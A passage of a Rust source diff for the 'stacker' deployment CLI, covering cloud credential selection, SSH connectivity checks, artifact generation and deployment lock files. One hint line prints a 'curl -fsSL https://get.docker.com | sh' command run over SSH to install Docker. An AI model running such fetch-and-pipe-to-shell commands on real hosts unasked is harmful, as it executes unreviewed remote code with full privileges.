cloud_env::provider_cli_example("do") + ); + eprintln!(" {} # AWS", cloud_env::provider_cli_example("aws")); + eprintln!(); + return Err(CliError::CloudProviderMissing); + } + + // Column widths for the interactive cloud selection menu. + const CLOUD_ID_WIDTH: usize = 6; + const CLOUD_NAME_WIDTH: usize = 24; + + let mut items: Vec = clouds + .iter() + .map(|c| { + format!( + "{: or --key-id , or configure deploy.cloud with `stacker config setup cloud`."); + return Err(CliError::CloudProviderMissing); + } + eprintln!(" Select a saved cloud credential to use for this deployment:"); + eprintln!(); + + let selection = dialoguer::Select::new() + .with_prompt("Cloud credential") + .items(&items) + .default(0) + .interact() + .map_err(|e| CliError::ConfigValidation(format!("Selection error: {}", e)))?; + + if selection == clouds.len() { + // User chose "Connect a new cloud provider" + return Ok(None); + } + + Ok(Some(clouds.into_iter().nth(selection).expect( + "selection index should be within bounds of clouds vector", + ))) +} + +fn active_stacker_base_url(creds: &StoredCredentials) -> String { + if let Some(server_url) = creds.server_url.as_deref() { + return crate::cli::install_runner::normalize_stacker_server_url(server_url); + } + if let Ok(server_url) = std::env::var("STACKER_URL") { + if !server_url.trim().is_empty() { + return crate::cli::install_runner::normalize_stacker_server_url(&server_url); + } + } + stacker_client::DEFAULT_STACKER_URL.to_string() +} + +fn cloud_config_from_info(cloud_info: &stacker_client::CloudInfo) -> Result { + merge_cloud_config_from_info(None, cloud_info) +} + +fn merge_cloud_config_from_info( + existing: Option<&CloudConfig>, + cloud_info: &stacker_client::CloudInfo, +) -> Result { + let provider = cloud_provider_from_code(&cloud_info.provider).ok_or_else(|| { + CliError::ConfigValidation(format!( + "Unrecognised cloud provider '{}' for credential '{}'. Supported providers: hetzner (htz), digitalocean (do), aws, linode (lo), vultr (vu).", + cloud_info.provider, cloud_info.name + )) + })?; + + Ok(CloudConfig { + provider, + orchestrator: existing + .map(|cloud| cloud.orchestrator) + .unwrap_or(CloudOrchestrator::Remote), + region: existing.and_then(|cloud| cloud.region.clone()), + size: existing.and_then(|cloud| cloud.size.clone()), + install_image: existing.and_then(|cloud| cloud.install_image.clone()), + remote_payload_file: existing.and_then(|cloud| cloud.remote_payload_file.clone()), + ssh_key: existing.and_then(|cloud| cloud.ssh_key.clone()), + key: Some(cloud_info.name.clone()), + server: existing.and_then(|cloud| cloud.server.clone()), + }) +} + +fn apply_cloud_cli_override( + config: &mut StackerConfig, + remote_overrides: &RemoteDeployOverrides, + creds: &StoredCredentials, +) -> Result<(), CliError> { + if remote_overrides.key_id.is_none() && remote_overrides.key_name.is_none() { + return Ok(()); + } + + let base_url = active_stacker_base_url(creds); + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + let client = StackerClient::new(&base_url, &creds.access_token); + + let cloud_info = if let Some(key_id) = remote_overrides.key_id { + rt.block_on(client.get_cloud(key_id))?.ok_or_else(|| { + CliError::ConfigValidation(format!("No saved cloud credential found with id {key_id}")) + })? + } else { + let key_name = remote_overrides + .key_name + .as_deref() + .expect("key_name checked above"); + rt.block_on(client.find_cloud_by_name(key_name))? + .ok_or_else(|| { + CliError::ConfigValidation(format!( + "No saved cloud credential found with name '{key_name}'" + )) + })? + }; + + eprintln!( + " Using cloud credential override: {} (id={}, provider={})", + cloud_info.name, cloud_info.id, cloud_info.provider + ); + config.deploy.target = DeployTarget::Cloud; + config.deploy.cloud = Some(merge_cloud_config_from_info( + config.deploy.cloud.as_ref(), + &cloud_info, + )?); + Ok(()) +} + +/// `stacker deploy [--target local|cloud|server] [--file stacker.yml] [--dry-run] [--force-rebuild]` +/// `stacker deploy --project=myapp --target cloud --key devops --server bastion` +/// +/// Generates Dockerfile + docker-compose from stacker.yml, then +/// deploys using the appropriate strategy (local, cloud, or server). +/// +/// For remote cloud deploys, the CLI now goes through the Stacker server API +/// instead of calling User Service directly: +/// 1. Resolves (or auto-creates) the project on the Stacker server +/// 2. Looks up saved cloud credentials by provider (or passes env-var creds) +/// 3. Looks up saved server by name (optional) +/// 4. Calls `POST /project/{id}/deploy[/{cloud_id}]` +pub struct DeployCommand { + pub target: Option, + pub environment: Option, + pub file: Option, + pub dry_run: bool, + pub force_rebuild: bool, + /// Override project name (--project flag) + pub project_name: Option, + /// Override cloud key name (--key flag) + pub key_name: Option, + /// Override cloud key by ID (--key-id flag) + pub key_id: Option, + /// Override server name (--server flag) + pub server_name: Option, + /// Watch deployment progress until complete (--watch / --no-watch). + /// `None` means "auto" (watch for cloud, health-check for local). + pub watch: Option, + /// Persist server details into stacker.yml after deploy (--lock). + pub lock: bool, + /// Skip smart server pre-check and lockfile hints; force fresh cloud provision (--force-new). + pub force_new: bool, + /// Container runtime: "runc" (default) or "kata" (--runtime). + pub runtime: String, + /// Generate a read-only deployment plan instead of applying changes. + pub plan: bool, + /// Revalidate and apply a previously generated plan fingerprint. + pub apply_plan: Option, +} + +impl DeployCommand { + pub fn new( + target: Option, + file: Option, + dry_run: bool, + force_rebuild: bool, + ) -> Self { + Self { + target, + environment: None, + file, + dry_run, + force_rebuild, + project_name: None, + key_name: None, + key_id: None, + server_name: None, + watch: None, + lock: false, + force_new: false, + runtime: "runc".to_string(), + plan: false, + apply_plan: None, + } + } + + pub fn with_environment(mut self, environment: Option) -> Self { + self.environment = environment; + self + } + + /// Builder method to set remote override flags from CLI args. + pub fn with_remote_overrides( + mut self, + project: Option, + key: Option, + server: Option, + ) -> Self { + self.project_name = project; + self.key_name = key; + self.server_name = server; + self + } + + /// Builder method to set cloud key ID from CLI `--key-id` flag. + pub fn with_key_id(mut self, key_id: Option) -> Self { + self.key_id = key_id; + self + } + + /// Builder method to set watch behaviour. + /// `--watch` forces watch on; `--no-watch` forces it off. + /// Neither flag → auto (cloud=watch, local=health-check). + pub fn with_watch(mut self, watch: bool, no_watch: bool) -> Self { + if no_watch { + self.watch = Some(false); + } else if watch { + self.watch = Some(true); + } + // else remains None → auto + self + } + + /// Builder method to set lock behaviour (--lock flag). + pub fn with_lock(mut self, lock: bool) -> Self { + self.lock = lock; + self + } + + /// Builder method to set force-new behaviour (--force-new flag). + pub fn with_force_new(mut self, force_new: bool) -> Self { + self.force_new = force_new; + self + } + + /// Builder method to set container runtime (--runtime flag). + pub fn with_runtime(mut self, runtime: String) -> Self { + let rt = runtime.to_lowercase(); + if rt != "runc" && rt != "kata" { + eprintln!( + "Warning: unknown runtime '{}', defaulting to 'runc'", + runtime + ); + self.runtime = "runc".to_string(); + } else { + self.runtime = rt; + } + self + } + + pub fn with_plan(mut self, plan: bool) -> Self { + self.plan = plan; + self + } + + pub fn with_apply_plan(mut self, apply_plan: Option) -> Self { + self.apply_plan = apply_plan; + self + } +} + +/// Parse a deploy target string into `DeployTarget`. +#[cfg(test)] +fn parse_deploy_target(s: &str) -> Result { + let json = format!("\"{}\"", s.to_lowercase()); + serde_json::from_str::(&json).map_err(|_| { + CliError::ConfigValidation(format!( + "Unknown deploy target '{}'. Valid targets: local, cloud, server", + s + )) + }) +} + +/// Override values from CLI flags for remote cloud deploys. +#[derive(Debug, Clone, Default)] +pub struct RemoteDeployOverrides { + pub project_name: Option, + pub key_name: Option, + pub key_id: Option, + pub server_name: Option, +} + +/// Core deploy logic, extracted for testability. +/// +/// Takes injectable `CommandExecutor` so tests can mock shell calls. +#[allow(clippy::too_many_arguments)] +pub fn run_deploy( + project_dir: &Path, + config_file: Option<&str>, + target_override: Option<&str>, + dry_run: bool, + force_rebuild: bool, + force_new: bool, + executor: &dyn CommandExecutor, + remote_overrides: &RemoteDeployOverrides, + runtime: &str, +) -> Result { + run_deploy_for_environment( + project_dir, + config_file, + target_override, + None, + dry_run, + force_rebuild, + force_new, + executor, + remote_overrides, + runtime, + ) +} + +#[allow(clippy::too_many_arguments)] +pub fn run_deploy_for_environment( + project_dir: &Path, + config_file: Option<&str>, + target_override: Option<&str>, + environment_override: Option<&str>, + dry_run: bool, + force_rebuild: bool, + force_new: bool, + executor: &dyn CommandExecutor, + remote_overrides: &RemoteDeployOverrides, + runtime: &str, +) -> Result { + let cred_manager = CredentialsManager::with_default_store(); + run_deploy_with_credentials_manager( + project_dir, + config_file, + target_override, + environment_override, + dry_run, + force_rebuild, + force_new, + executor, + remote_overrides, + runtime, + &cred_manager, + ) +} + +#[allow(clippy::too_many_arguments)] +fn run_deploy_with_credentials_manager( + project_dir: &Path, + config_file: Option<&str>, + target_override: Option<&str>, + environment_override: Option<&str>, + dry_run: bool, + force_rebuild: bool, + force_new: bool, + executor: &dyn CommandExecutor, + remote_overrides: &RemoteDeployOverrides, + runtime: &str, + cred_manager: &CredentialsManager, +) -> Result { + // 1. Load config + let config_path = match config_file { + Some(f) => project_dir.join(f), + None => project_dir.join(DEFAULT_CONFIG_FILE), + }; + + let mut config = + StackerConfig::from_file(&config_path)?.with_resolved_deploy_target(target_override)?; + let selected_environment = if let Some((environment, environment_config)) = + config.resolve_environment_config(environment_override)? + { + config.deploy.environment = Some(environment.clone()); + if let Some(compose_file) = environment_config.compose_file { + config.deploy.compose_file = Some(compose_file); + } + if let Some(env_file) = environment_config.env_file { + config.env_file = Some(env_file); + } + Some(environment) + } else { + None + }; + ensure_env_file_if_needed(&config, project_dir)?; + + // 2. Resolve deploy target/profile (flag > config default) + let mut deploy_target = config.deploy.target; + + // 2b. Server pre-check: when target is Cloud but deploy.server section + // is defined with a host, try SSH connectivity first. + // If the server is reachable, automatically switch to Server target. + // If not, show diagnostics and abort so the user can fix or remove the section. + // Skipped when --force-new is set (user explicitly wants a fresh cloud provision). + // When a lockfile exists, auto-inject the server name so the API reuses the server. + let mut lock_server_name: Option = None; + if deploy_target == DeployTarget::Cloud && !force_new { + if let Some(ref server_cfg) = config.deploy.server { + eprintln!( + " Found deploy.server section (host={}). Checking SSH connectivity...", + server_cfg.host + ); + + match try_ssh_server_check(server_cfg) { + Some(check) if check.connected && check.authenticated => { + eprintln!( + " ✓ Server {} is reachable ({})", + server_cfg.host, + check.summary() + ); + + if !check.docker_installed { + eprintln!(" ⚠ Docker is NOT installed on the server."); + eprintln!(" Install Docker first: ssh {}@{} 'curl -fsSL https://get.docker.com | sh'", + server_cfg.user, server_cfg.host); + return Err(CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!( + "Server {} is reachable but Docker is not installed. \ + Install Docker and retry, or remove the 'server' section from stacker.yml \ + to provision a new cloud server.", + server_cfg.host + ), + }); + } + + eprintln!( + " Switching deploy target from 'cloud' → 'server' (using existing server)" + ); + deploy_target = DeployTarget::Server; + } + Some(check) => { + // Server defined but not reachable — abort with helpful hints + print_server_unreachable_hint(server_cfg, &check); + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "deploy.server section defines host {} but the server is not reachable: {}. \ + Fix the connection or remove the 'server' section to provision a new cloud server.", + server_cfg.host, + check.error.as_deref().unwrap_or("unknown error") + ), + }); + } + None => { + // Could not perform SSH check (missing key, etc.) — warn and abort + eprintln!(" ⚠ Could not verify server connectivity (see above)."); + eprintln!(" Remove the 'server' section from stacker.yml to provision a new cloud server,"); + eprintln!(" or fix the SSH key configuration and retry."); + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "deploy.server section defines host {} but SSH connectivity check could not be performed. \ + Fix the SSH key or remove the 'server' section to provision a new cloud server.", + server_cfg.host + ), + }); + } + } + } else if DeploymentLock::exists_for_target(project_dir, "cloud") + || DeploymentLock::exists(project_dir) + { + // No deploy.server in config, but a lockfile exists from a prior deploy. + // Auto-inject the server name so the cloud deploy API reuses the same server. + if let Ok(Some(lock)) = DeploymentLock::load_for_target(project_dir, "cloud") { + if let Some(ref name) = lock.server_name { + eprintln!( + " ℹ Found previous cloud deployment (server='{}') — reusing server", + name + ); + eprintln!(" To provision a new server instead: stacker deploy --force-new"); + lock_server_name = Some(name.clone()); + } else if let Some(ref ip) = lock.server_ip { + if ip != "127.0.0.1" { + eprintln!( + " ℹ Found previous deployment to {} (from deployment lock)", + ip + ); + eprintln!( + " Server name unknown — cannot auto-reuse. Run: stacker config lock" + ); + eprintln!( + " To provision a new server instead: stacker deploy --force-new" + ); + } + } + } + } + } + + // 3. Cloud/server prerequisites — verify login and keep credentials for later use. + let cloud_creds: Option = + if matches!(deploy_target, DeployTarget::Cloud | DeployTarget::Server) { + let purpose = if deploy_target == DeployTarget::Cloud { + "cloud deploy" + } else { + "server deploy" + }; + Some(cred_manager.require_valid_token(purpose)?) + } else { + None + }; + + if deploy_target == DeployTarget::Cloud { + if let Some(creds) = cloud_creds.as_ref() { + apply_cloud_cli_override(&mut config, remote_overrides, creds)?; + } + } + + if deploy_target == DeployTarget::Server { + if let Some(ref server_cfg) = config.deploy.server { + eprintln!( + " Validating SSH connectivity to {} before bootstrap deploy...", + server_cfg.host + ); + + match try_ssh_server_check(server_cfg) { + Some(check) if check.connected && check.authenticated => { + eprintln!( + " ✓ Server {} is reachable ({})", + server_cfg.host, + check.summary() + ); + + if !check.docker_installed { + return Err(CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!( + "Server {} is reachable but Docker is not installed. Install Docker and Docker Compose, then retry.", + server_cfg.host + ), + }); + } + } + Some(check) => { + print_server_unreachable_hint(server_cfg, &check); + return Err(CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!( + "Failed to connect to {} over SSH: {}", + server_cfg.host, + check.error.as_deref().unwrap_or("unknown error") + ), + }); + } + None => { + return Err(CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!( + "Could not verify SSH connectivity to {}. Check deploy.server.ssh_key and retry.", + server_cfg.host + ), + }); + } + } + } + } + + // 3b. If cloud target but no cloud section in stacker.yml, prompt to select a saved credential. + if deploy_target == DeployTarget::Cloud && config.deploy.cloud.is_none() { + let creds = cloud_creds + .as_ref() + .expect("cloud_creds should be set when deploy_target is Cloud (verified in step 3)"); + let access_token = &creds.access_token; + let base_url = active_stacker_base_url(creds); + + match prompt_select_cloud(&base_url, access_token)? { + Some(cloud_info) => { + eprintln!( + " Selected cloud credential: {} (id={}, provider={})", + cloud_info.name, cloud_info.id, cloud_info.provider + ); + + // Apply the selected cloud to the in-memory config. + config.deploy.target = DeployTarget::Cloud; + config.deploy.cloud = Some(cloud_config_from_info(&cloud_info)?); + + // Persist the selection to stacker.yml so subsequent deploys + // do not prompt again. + if config_path.exists() { + let yaml = serde_yaml::to_string(&config).map_err(|e| { + CliError::ConfigValidation(format!( + "Failed to serialize updated config: {}", + e + )) + })?; + std::fs::write(&config_path, yaml)?; + eprintln!( + " ✓ Updated {} with deploy.cloud.key={}", + config_path.display(), + cloud_info.name + ); + } + } + None => { + // User chose "Connect a new cloud provider" + eprintln!(); + eprintln!(" To connect a new cloud provider, export your API token and redeploy:"); + eprintln!( + " Hetzner: {}", + cloud_env::provider_cli_example("htz") + ); + eprintln!( + " DigitalOcean: {}", + cloud_env::provider_cli_example("do") + ); + eprintln!( + " Linode: {}", + cloud_env::provider_cli_example("lo") + ); + eprintln!( + " Vultr: {}", + cloud_env::provider_cli_example("vu") + ); + eprintln!( + " AWS: {}", + cloud_env::provider_cli_example("aws") + ); + eprintln!(); + eprintln!(" Or configure manually with: stacker config setup cloud"); + eprintln!(); + return Err(CliError::CloudProviderMissing); + } + } + } + + // 4. Validate via strategy + let strategy = strategy_for(&deploy_target); + strategy.validate(&config)?; + + // 5. Generate artifacts into .stacker/ + let output_dir = project_dir.join(OUTPUT_DIR); + std::fs::create_dir_all(&output_dir)?; + + // 5a. Dockerfile + let needs_dockerfile = config.app.image.is_none() && config.app.dockerfile.is_none(); + let dockerfile_path = output_dir.join("Dockerfile"); + + if needs_dockerfile { + if force_rebuild || !dockerfile_path.exists() { + let builder = DockerfileBuilder::for_project(&project_dir, config.app.app_type); + builder.write_to(&dockerfile_path, force_rebuild)?; + } else { + eprintln!( + " Using existing {}/Dockerfile (use --force-rebuild to regenerate)", + OUTPUT_DIR + ); + } + } + + // 5b. docker-compose.yml + let (compose_path, compose_is_user_supplied) = + if let Some(ref existing) = config.deploy.compose_file { + let configured_path = project_dir.join(existing); + if configured_path.exists() { + (configured_path, true) + } else { + let generated_fallback = output_dir.join("docker-compose.yml"); + if generated_fallback.exists() { + eprintln!( + " Configured compose file not found: {}. Falling back to {}", + configured_path.display(), + generated_fallback.display() + ); + (generated_fallback, false) + } else { + return Err(CliError::ConfigValidation(format!( + "Compose file not found: {}", + configured_path.display() + ))); + } + } + } else { + let compose_out = output_dir.join("docker-compose.yml"); + if force_rebuild || !compose_out.exists() { + let compose = ComposeDefinition::try_from(&config)?; + compose.write_to(&compose_out, force_rebuild)?; + } else { + eprintln!( + " Using existing {}/docker-compose.yml (use --force-rebuild to regenerate)", + OUTPUT_DIR + ); + } + (compose_out, false) + }; + + normalize_generated_compose_paths(&compose_path)?; + validate_compose_for_deploy(&compose_path)?; + if compose_is_user_supplied { + validate_cross_source_port_collisions(&config, &compose_path)?; + } + ensure_compose_env_files_if_needed(&compose_path)?; + let image_env = build_image_env_lookup(project_dir, &config)?; + merge_compose_public_ports_into_app_config(&mut config, &compose_path, &image_env)?; + if matches!(deploy_target, DeployTarget::Cloud | DeployTarget::Server) { + print_registry_auth_guidance_if_needed(&compose_path, &config, &image_env)?; + } + let required_image_platform = required_image_platform_for_deploy_target(&deploy_target); + if !dry_run { + validate_compose_images_for_deploy( + &compose_path, + config.deploy.registry.as_ref(), + &image_env, + required_image_platform.as_ref(), + )?; + } + + // 5b.1 Surface build source paths to avoid confusion. + if let Some(image) = &config.app.image { + eprintln!( + " App image source: image={} (no local Dockerfile build)", + image + ); + } else if let Some(build_src) = compose_app_build_source(&compose_path) { + eprintln!(" App build source: {}", build_src); + } else if let Some(dockerfile) = &config.app.dockerfile { + let dockerfile_display = if dockerfile.is_absolute() { + dockerfile.display().to_string() + } else { + project_dir.join(dockerfile).display().to_string() + }; + eprintln!(" App build source: Dockerfile={}", dockerfile_display); + } else { + eprintln!( + " App build source: Dockerfile={}", + dockerfile_path.display() + ); + } + eprintln!(" Compose file: {}", compose_path.display()); + if let Some(environment) = &selected_environment { + eprintln!( + " Environment: {} -> Target: {}", + environment, deploy_target + ); + } + + let config_bundle = if matches!(deploy_target, DeployTarget::Cloud | DeployTarget::Server) { + if let Some(environment) = selected_environment.as_deref() { + let bundle = build_config_bundle( + project_dir, + environment, + &compose_path, + config.env_file.as_deref(), + )?; + eprintln!(" Config bundle: {}", bundle.archive_path.display()); + for file in &bundle.manifest.files { + eprintln!( + " Config file: {} -> {}", + file.source_path, file.destination_path + ); + } + Some(bundle) + } else { + None + } + } else { + None + }; + + // 5c. Report hooks (dry-run) + if dry_run { + if let Some(ref pre_build) = config.hooks.pre_build { + eprintln!(" Hook (pre_build): {}", pre_build.display()); + } + } + + // 6. Deploy + let context = DeployContext { + config_path: config_path.clone(), + compose_path: compose_path.clone(), + project_dir: project_dir.to_path_buf(), + dry_run, + image: config + .deploy + .cloud + .as_ref() + .and_then(|cloud| cloud.install_image.clone()), + project_name_override: remote_overrides.project_name.clone(), + key_name_override: remote_overrides.key_name.clone(), + key_id_override: remote_overrides.key_id, + server_name_override: remote_overrides.server_name.clone().or(lock_server_name), + runtime: runtime.to_string(), + config_bundle, + managed_proxy_feature_enabled: true, + force_new, + }; + + let result = strategy.deploy(&config, &context, executor)?; + + Ok(result) +} + +impl CallableTrait for DeployCommand { + fn call(&self) -> Result<(), Box> { + if self.plan { + return crate::console::commands::cli::deployment::run_remote_deployment_plan( + None, + crate::services::DeployPlanOperation::Deploy, + None, + None, + None, + ); + } + + if let Some(fingerprint) = self.apply_plan.as_deref() { + let project_dir = std::env::current_dir()?; + let config_path = project_dir.join("stacker.yml"); + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + let ctx = crate::cli::runtime::CliRuntime::new("deploy apply-plan")?; + let validated_plan = ctx.block_on(async { + let base_url = + crate::console::commands::cli::status::resolve_stacker_base_url(&ctx.creds); + crate::console::commands::cli::deployment::fetch_remote_deployment_plan( + &config, + &base_url, + &ctx.client, + None, + crate::services::DeployPlanOperation::Deploy, + None, + None, + Some(fingerprint), + ) + .await + })?; + if !validated_plan.has_changes { + println!( + "Plan already satisfied for {}. Nothing to apply.", + validated_plan.deployment_hash + ); + return Ok(()); + } + } + + let project_dir = std::env::current_dir()?; + let executor = ShellExecutor; + + // Build remote overrides from CLI flags + let remote_overrides = RemoteDeployOverrides { + project_name: self.project_name.clone(), + key_name: self.key_name.clone(), + key_id: self.key_id, + server_name: self.server_name.clone(), + }; + + // ── Spinner while deploying ────────────────── + let spin = progress::deploy_spinner("starting..."); + + let result = run_deploy_for_environment( + &project_dir, + self.file.as_deref(), + self.target.as_deref(), + self.environment.as_deref(), + self.dry_run, + self.force_rebuild, + self.force_new, + &executor, + &remote_overrides, + &self.runtime, + ); + + let result = match result { + Ok(result) => { + progress::finish_success(&spin, &result.message); + result + } + Err(err) => { + progress::finish_error(&spin, &format!("{}", err)); + if let CliError::LoginRequired { .. } = &err { + eprintln!("\nHint: run `stacker login` and retry deploy."); + } + print_ai_deploy_help(&project_dir, self.file.as_deref(), &err); + return Err(Box::new(err)); + } + }; + + if let Some(ip) = &result.server_ip { + eprintln!(" Server IP: {}", ip); + } + + // ── Post-deploy progress tracking ──────────── + if self.dry_run { + return Ok(()); + } + + // Resolve whether to watch: explicit flag > auto-detect + let should_watch = self.watch.unwrap_or_else(|| { + // Auto: watch for cloud remote deploys, health-check for local + matches!(result.target, DeployTarget::Cloud | DeployTarget::Server) + && (result.deployment_id.is_some() || result.project_id.is_some()) + }); + + let mut watch_outcome = DeploymentWatchOutcome::Unknown; + + match result.target { + DeployTarget::Local => { + // Always do a quick health check for local deploy unless --no-watch + if self.watch != Some(false) { + watch_local_containers( + &project_dir, + self.file.as_deref(), + self.target.as_deref(), + )?; + } + } + DeployTarget::Cloud | DeployTarget::Server if should_watch => { + watch_outcome = watch_cloud_deployment(&result)?; + } + _ => {} + } + + let should_fetch_remote_details = !matches!(watch_outcome, DeploymentWatchOutcome::Failed); + + // ── Deployment lock: persist deployment context ── + self.save_deployment_lock(&project_dir, &result, should_fetch_remote_details)?; + if should_fetch_remote_details && should_install_cloud_backup_key(&result, self.dry_run) { + self.install_cloud_backup_key(&result); + } + + Ok(()) + } +} + +fn should_install_cloud_backup_key(result: &DeployResult, dry_run: bool) -> bool { + !dry_run && result.target == DeployTarget::Cloud && result.project_id.is_some() +} + +impl DeployCommand { + fn install_cloud_backup_key(&self, result: &DeployResult) { + if result.target != DeployTarget::Cloud { + return; + } + + let Some(project_id) = result.project_id else { + eprintln!( + " ⚠ Local SSH backup key was not installed: deployment returned no project ID." + ); + return; + }; + + let server = match fetch_server_for_project( + project_id as i32, + DeployTarget::Cloud, + result.server_name.as_deref(), + ) { + Ok(Some(server)) => server, + Ok(None) => { + eprintln!( + " ⚠ Local SSH backup key was not installed: server details are not available yet." + ); + return; + } + Err(err) => { + eprintln!( + " ⚠ Local SSH backup key was not installed: could not fetch server details: {}", + err + ); + return; + } + }; + + if server + .srv_ip + .as_deref() + .is_none_or(|ip| ip.trim().is_empty()) + { + eprintln!( + " ⚠ Local SSH backup key was not installed: server IP is not available yet." + ); + return; + } + + let (base_url, creds) = match resolve_saved_stacker_base_url("SSH backup key authorization") + { + Ok(values) => values, + Err(err) => { + eprintln!( + " ⚠ Local SSH backup key was not installed: could not load credentials: {}", + err + ); + return; + } + }; + + let rt = match tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + { + Ok(rt) => rt, + Err(err) => { + eprintln!( + " ⚠ Local SSH backup key was not installed: failed to initialize runtime: {}", + err + ); + return; + } + }; + + let client = + StackerClient::new_for_target(&base_url, &creds.access_token, DeployTarget::Cloud); + match rt.block_on( + crate::console::commands::cli::ssh_key::ensure_local_backup_key_authorized( + &client, &server, + ), + ) { + Ok(auth) => { + eprintln!(" ✓ Local SSH backup key authorized"); + eprintln!(" Key: {}", auth.private_key_path.display()); + eprintln!(" Public key: {}", auth.public_key_path.display()); + eprintln!(" Connect: {}", auth.ssh_command); + } + Err(err) => { + eprintln!( + " ⚠ App deploy succeeded, but local SSH backup access was not installed." + ); + eprintln!(" Reason: {}", err); + eprintln!( + " Repair: stacker ssh-key inject --server-id {} --with-key ", + server.id + ); + } + } + } + + /// Save deployment context to `.stacker/deployment.lock` after a successful deploy. + /// + /// For cloud deploys, tries to fetch the provisioned server's details from the + /// Stacker API (IP, SSH user/port, server name) so that subsequent deploys can + /// target the same server via the smart pre-check. + /// + /// When `--lock` is set, also writes the server details into `stacker.yml`. + fn save_deployment_lock( + &self, + project_dir: &Path, + result: &DeployResult, + fetch_remote_details: bool, + ) -> Result<(), Box> { + // Build the initial lock from the deploy result + let mut lock = match result.target { + DeployTarget::Local => DeploymentLock::for_local(), + DeployTarget::Server => { + let mut l = DeploymentLock::from_result(result) + .with_project_name(self.project_name.clone()); + + let config_path = match &self.file { + Some(f) => project_dir.join(f), + None => project_dir.join(DEFAULT_CONFIG_FILE), + }; + if let Ok(config) = StackerConfig::from_file(&config_path) { + if l.project_name.is_none() { + let name = config + .project + .identity + .filter(|s| !s.is_empty()) + .unwrap_or(config.name); + l = l.with_project_name(Some(name)); + } + + if let Some(ref server_cfg) = config.deploy.server { + if l.server_ip.is_none() { + l.server_ip = Some(server_cfg.host.clone()); + } + if l.ssh_user.is_none() { + l.ssh_user = Some(server_cfg.user.clone()); + } + if l.ssh_port.is_none() { + l.ssh_port = Some(server_cfg.port); + } + } + } + + if fetch_remote_details { + if let Some(project_id) = result.project_id { + match fetch_server_for_project( + project_id as i32, + DeployTarget::Server, + result.server_name.as_deref(), + ) { + Ok(Some(info)) => { + l = l.with_server_info( + info.srv_ip.clone(), + info.ssh_user.clone(), + info.ssh_port.map(|p| p as u16), + info.name.clone(), + info.cloud_id, + ); + } + Ok(None) => {} + Err(e) => { + eprintln!(" ⚠ Could not fetch server details: {}", e); + } + } + } + } + + if l.server_name.is_none() { + if let Some(ref name) = result.server_name { + l.server_name = Some(name.clone()); + } + } + + l + } + DeployTarget::Cloud => { + let mut l = DeploymentLock::from_result(result) + .with_project_name(self.project_name.clone()); + + // If no --project flag, try to get the project name from config + if l.project_name.is_none() { + let config_path = match &self.file { + Some(f) => project_dir.join(f), + None => project_dir.join(DEFAULT_CONFIG_FILE), + }; + if let Ok(config) = StackerConfig::from_file(&config_path) { + // Prefer project.identity as the registered name, fall back to config name + let name = config + .project + .identity + .filter(|s| !s.is_empty()) + .unwrap_or(config.name); + l = l.with_project_name(Some(name)); + } + } + + // Try to fetch provisioned server details from the Stacker API + if fetch_remote_details { + if let Some(project_id) = result.project_id { + match fetch_server_for_project( + project_id as i32, + DeployTarget::Cloud, + result.server_name.as_deref(), + ) { + Ok(Some(info)) => { + l = l.with_server_info( + info.srv_ip.clone(), + info.ssh_user.clone(), + info.ssh_port.map(|p| p as u16), + info.name.clone(), + info.cloud_id, + ); + if let Some(ref ip) = info.srv_ip { + eprintln!( + " Server details: {} ({}@{}:{})", + info.name.as_deref().unwrap_or("unnamed"), + info.ssh_user.as_deref().unwrap_or("root"), + ip, + info.ssh_port.unwrap_or(22), + ); + } + } + Ok(None) => { + eprintln!( + " ℹ Server details not yet available (may still be provisioning)." + ); + } + Err(e) => { + eprintln!(" ⚠ Could not fetch server details: {}", e); + } + } + } + } + + // Fallback: if the API fetch didn't populate server_name, + // use the name from the deploy form so subsequent deploys + // can still find and reuse the server. + if l.server_name.is_none() { + if let Some(ref name) = result.server_name { + l.server_name = Some(name.clone()); + } + } + + l + } + }; + + // Always set project_name if available from CLI flag + if self.project_name.is_some() { + lock = lock.with_project_name(self.project_name.clone()); + } + + if matches!(result.target, DeployTarget::Cloud | DeployTarget::Server) { + if let Ok(Some(creds)) = CredentialsManager::with_default_store().load() { + lock = lock.with_stacker_email(creds.email.clone()); + } + } + + // Save lockfile + match lock.save(project_dir) { + Ok(path) => { + eprintln!(" Deployment context saved to {}", path.display()); + } + Err(e) => { + eprintln!(" ⚠ Failed to save deployment lock: {}", e); + } + } + + // If --lock flag is set, also update stacker.yml with server details + if self.lock { + let config_path = match &self.file { + Some(f) => project_dir.join(f), + None => project_dir.join(DEFAULT_CONFIG_FILE), + }; + + if lock.server_ip.is_some() && lock.server_ip.as_deref() != Some("127.0.0.1") { + match StackerConfig::from_file(&config_path) { + Ok(mut config) => { + lock.apply_to_config(&mut config); + match DeploymentLock::write_config(&config, &config_path) { + Ok(()) => { + eprintln!(" ✓ stacker.yml updated with server details (backup: stacker.yml.bak)"); + eprintln!(" Next deploy will target this server directly."); + } + Err(e) => { + eprintln!(" ⚠ Failed to update stacker.yml: {}", e); + eprintln!(" Run `stacker config lock` to retry."); + } + } + } + Err(e) => { + eprintln!(" ⚠ Failed to read stacker.yml for update: {}", e); + } + } + } else { + eprintln!(" ℹ --lock: No remote server details to persist (local deploy or server IP not yet available)."); + eprintln!(" Run `stacker config lock` after the server is provisioned."); + } + } + + Ok(()) + } +} + +// ── Fetch server details from Stacker API by project ID ── + +/// After a cloud deploy completes, look up the provisioned server's details +/// (IP, SSH user, port, name) from the Stacker server API. +/// +/// First polls the deployment status until it reaches a terminal state (or a +/// timeout is reached), then retries fetching the server IP — because the IP +/// may be assigned a few seconds after the deployment status flips to +/// "completed". +fn resolve_saved_stacker_base_url(context: &str) -> Result<(String, StoredCredentials), CliError> { + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token(context)?; + let raw_base_url = creds + .server_url + .as_deref() + .unwrap_or(stacker_client::DEFAULT_STACKER_URL); + let base_url = crate::cli::install_runner::normalize_stacker_server_url(raw_base_url); + Ok((base_url, 